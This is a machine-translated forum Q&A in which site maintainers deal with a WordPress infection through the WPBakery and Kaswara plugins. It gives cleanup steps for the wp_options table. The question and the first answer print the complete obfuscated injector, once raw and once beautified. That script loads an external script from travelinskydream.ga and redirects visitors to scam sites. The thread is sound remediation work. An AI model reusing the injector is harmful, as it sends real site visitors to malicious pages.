Wordpress WPBakery和Kaswara安全漏洞

Question

我已经解决了这样一个问题:我为之提供维护的Wordpress网站之一会奇怪地将用户(不受AdBlocker保护)重定向到欺骗网站。

重定向是通过stick.travelinskydream.ga.完成的

在更仔细的检查中，具有以下代码的脚本已自动注入应用程序。使用了以下代码：

var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);

它创建一个脚本标记，它执行外部JS代码，该代码在加载时将用户重定向到恶意网站。得到的脚本如下所示：

<script src="https://stick.travelinskydreams.ga?Brand.js?vid=0000&pidi=191817&id=53646"></script>

据我所见，WpBakery和Kaswara插件中存在这个漏洞，这是一个众所周知的问题。

https://www.wordfence.com/blog/2020/10/episode-90-wpbakery-plugin-vulnerability-exposes-over-4-million-sites/

https://howtofix.guide/fake-jquery-migrate-plugin/

在一个接一个地使插件失活和重新激活之后，唯一的两个罪魁祸首仍然是js_composer (Wp面包店)和Kaswara。我尝试过更新这两个插件，但是“感染”仍然存在，尽管已经发布了这个问题的补丁。

Answer 1

解决方案很简单:几个小时后，在Wordpress仪表板内，在Kaswara菜单>自定义代码部分，问题中显示的代码就在那里。删除后，一切恢复正常。

这肯定不是这样的恶意软件可以破坏工作的唯一方式，所以我附加这个链接与其他可能的影响。

https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/

对我有用的一个潜在的解决方法是添加这个自定义脚本，它将在加载了(临时解决方案，不删除病毒)后删除恶意JS。

$('script').each(function(index, obj) {
console.log(index, obj);
if (obj.src === 'https://stick.travelinskydream.ga/brand.js&v=0032&sid=236&pid=545747') {
    $(this).remove();
    console.log($(this).text());
}

if ($(this).text() === "var _0x230d=['getElementsByTagName','script','parentNode','279875vBeEEE','head','698448rkGfeF','679597pxmSpW','281314aeWSVS','1fashtG','currentScript','1439788dxeSnm','src','1051197hJyWzE','277011vIvjKc','2vRLkLk','fromCharCode','1YWwfcj'];var _0x3e5356=_0x567b;function _0x567b(_0x4f69c6,_0x44f06a){_0x4f69c6=_0x4f69c6-0x161;var _0x230d0d=_0x230d[_0x4f69c6];return _0x230d0d;}(function(_0x23c6e3,_0x4b8159){var _0x137209=_0x567b;while(!![]){try{var _0x388290=-parseInt(_0x137209(0x168))*parseInt(_0x137209(0x16a))+parseInt(_0x137209(0x16f))+-parseInt(_0x137209(0x165))*-parseInt(_0x137209(0x161))+-parseInt(_0x137209(0x16c))+parseInt(_0x137209(0x167))+parseInt(_0x137209(0x16e))+-parseInt(_0x137209(0x170))*-parseInt(_0x137209(0x169));if(_0x388290===_0x4b8159)break;else _0x23c6e3['push'](_0x23c6e3['shift']());}catch(_0x227ada){_0x23c6e3['push'](_0x23c6e3['shift']());}}}(_0x230d,0xb70ce));var mm=String[_0x3e5356(0x171)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x62,0x72,0x61,0x6e,0x64,0x2e,0x6a,0x73,0x26,0x76,0x3d,0x30,0x30,0x33,0x32,0x26,0x73,0x69,0x64,0x3d,0x32,0x33,0x36,0x26,0x70,0x69,0x64,0x3d,0x35,0x34,0x35,0x37,0x34,0x37),d=document,s=d['createElement'](_0x3e5356(0x163));s[_0x3e5356(0x16d)]=mm;document[_0x3e5356(0x16b)]?document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s,document[_0x3e5356(0x16b)]):d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);") {
    $(this).remove() 
}

以下是注入JS的“美化”恶意代码，也许它会对某人有所帮助。

var _0x3e5356 = _0x567b;

function _0x567b(_0x4f69c6, _0x44f06a) {
    _0x4f69c6 = _0x4f69c6 - 0x161;
    var _0x230d0d = _0x230d[_0x4f69c6];
    return _0x230d0d;
}(function(_0x23c6e3, _0x4b8159) {
    var _0x137209 = _0x567b;
    while (!![]) {
        try {
            var _0x388290 = -parseInt(_0x137209(0x168)) * parseInt(_0x137209(0x16a)) + parseInt(_0x137209(0x16f)) + -parseInt(_0x137209(0x165)) * -parseInt(_0x137209(0x161)) + -parseInt(_0x137209(0x16c)) + parseInt(_0x137209(0x167)) + parseInt(_0x137209(0x16e)) + -parseInt(_0x137209(0x170)) * -parseInt(_0x137209(0x169));
            if (_0x388290 === _0x4b8159) break;
            else _0x23c6e3['push'](_0x23c6e3['shift']());
        } catch (_0x227ada) {
            _0x23c6e3['push'](_0x23c6e3['shift']());
        }
    }
}(_0x230d, 0xb70ce));
var mm = String[_0x3e5356(0x171)](0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x73, 0x74, 0x69, 0x63, 0x6b, 0x2e, 0x74, 0x72, 0x61, 0x76, 0x65, 0x6c, 0x69, 0x6e, 0x73, 0x6b, 0x79, 0x64, 0x72, 0x65, 0x61, 0x6d, 0x2e, 0x67, 0x61, 0x2f, 0x62, 0x72, 0x61, 0x6e, 0x64, 0x2e, 0x6a, 0x73, 0x26, 0x76, 0x3d, 0x30, 0x30, 0x33, 0x32, 0x26, 0x73, 0x69, 0x64, 0x3d, 0x32, 0x33, 0x36, 0x26, 0x70, 0x69, 0x64, 0x3d, 0x35, 0x34, 0x35, 0x37, 0x34, 0x37),
    d = document,
    s = d['createElement'](_0x3e5356(0x163));
s[_0x3e5356(0x16d)] = mm;
document[_0x3e5356(0x16b)] ? document[_0x3e5356(0x16b)][_0x3e5356(0x164)]['insertBefore'](s, document[_0x3e5356(0x16b)]) : d[_0x3e5356(0x162)](_0x3e5356(0x166))[0x0]['appendChild'](s);

如果您发现了其他问题或受到了影响，请分享您的解决方案！

Answer 2

刚用BASE64编码的JS脚本找到了这个选项。找到并删除它。

选项表

这里发生了什么？

这个恶意软件是一个Javascript内容，触发GET travelinski资料brand.js。

它的内容是用BASE64编码的，以中断SH或Select的检测。当被调用到屏幕中时，它就变成了一个可执行的片段。

它可能出现在不同的option_name下，但内容本身不能有那么大的变化。

Answer 3

因此，任何想要解决这个问题的人，都有理由和解决办法。

原因

插件:WP (JS作曲家)和Kaswara插件有这个问题。

解决方案

您需要从wp_options表中删除一个条目。

• 第一次登录cPanel。
• 去PHPMYADMIN
• 选择网站的数据库(有问题)
• 然后转到wp_options表。
• 正如我的朋友安德烈提到的，这个条目可以是不同的wp_option_name。
• 您需要在筛选行输入字段中输入JS。
• 它将给出结果，现在查找以：dmFyIF开头的dmFyIF
• 删除那个条目，你们就完蛋了。